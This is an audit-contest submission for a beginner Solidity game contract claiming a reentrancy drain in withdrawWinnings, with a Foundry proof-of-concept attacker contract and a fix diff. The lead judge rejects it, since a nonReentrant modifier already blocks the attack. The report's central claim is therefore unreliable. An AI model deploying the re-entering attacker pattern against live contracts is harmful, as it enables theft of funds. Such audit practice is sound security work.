Last Man Standing
First Flight #45
Beginner FriendlyFoundrySolidity
100 EXP
View results
Previous Next
Submission Details
Impact: high
Likelihood: medium
Invalid

Reentrancy in withdrawWinnings/PlatformFees via CEI Violation Enables Fund Drains (Theft/DoS Risk)

kalyan_tr

Root + Impact

Description

  • Normal Behavior: Post-game, winners/owner withdraw pending winnings or platform fees safely, with nonReentrant guarding recursion and call() sending ETH.

  • Issue: CEI violated (amount pulled, call sent, then pending=0)—malicious recipient reenters on receive(), withdraws multiples, draining pot/fees in loop till gas out.

// Root cause in the codebase with @> marks to highlight the relevant section
function withdrawWinnings() external nonReentrant {
uint256 amount = pendingWinnings[msg.sender];
require(amount > 0, "Game: No winnings to withdraw.");
@> (bool success, ) = payable(msg.sender).call{value: amount}(""); // Root: Interaction before state update
require(success, "Game: Failed to withdraw winnings.");
pendingWinnings[msg.sender] = 0; // Too late—reentry possible
emit WinningsWithdrawn(msg.sender, amount);
}
// Similar in withdrawPlatformFees

Risk

Likelihood:

  • Reason 1: Requires contract king/owner (med, but common in integrations like wallets/DAOs as players).

  • Reason 2: Reproducible post-end with funds—deterministic reentry on call().

Impact:

  • Impact 1: Theft—pot/fees drained in loop (multiple pulls before pending=0).

  • Impact 2: Trust erosion/DoS (contract empty, legit withdrawals fail); real-world: Reentrancy like Cream Finance ($130M loss) from call order.

Proof of Concept

This Foundry test deploys reentrant contract as king, wins, attacks—withdraw triggers loop draining pot before pending=0.

contract MaliciousKing {
Game public game;
constructor(Game _game) { game = _game; }
function attack() external { game.withdrawWinnings(); }
receive() external payable {
if (address(game).balance > 0) { game.withdrawWinnings(); } // Reentry loop
}
}
​
function testReentrancyDrainWithdraw() public {
// Assume fixed bugs (inverted require, etc.)
MaliciousKing malicious = new MaliciousKing(game);
vm.deal(address(malicious), 10 ether); // Fund for claim
vm.prank(address(malicious));
game.claimThrone{value: INITIAL_CLAIM_FEE}(); // Malicious as king
vm.prank(player1); // Player adds to pot
game.claimThrone{value: game.claimFee()}();
vm.warp(block.timestamp + GRACE_PERIOD + 1); // Expiry
game.declareWinner(); // Malicious wins
uint256 initialBalance = address(game).balance; // Pot >0
​
malicious.attack(); // Trigger reentry
​
assertEq(address(game).balance, 0); // Drained proof
}

Recommended Mitigation

Flip to CEI (effects before interactions)—update pending before call, blocking reentry (second call sees 0).

- (bool success, ) = payable(msg.sender).call{value: amount}("");
- pendingWinnings[msg.sender] = 0;
​
+ pendingWinnings[msg.sender] = 0; // State update first (fix CEI)
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
Updates

Appeal created

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Game::withdrawWinnings reentrancy

We only audit the current code in scope. We cannot make speculation with respect to how this codebase will evolve in the future. For now there is a nonReentrant modifier which mitigates any reentrancy. CEI is a good practice, but it's not mandatory. Informational

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!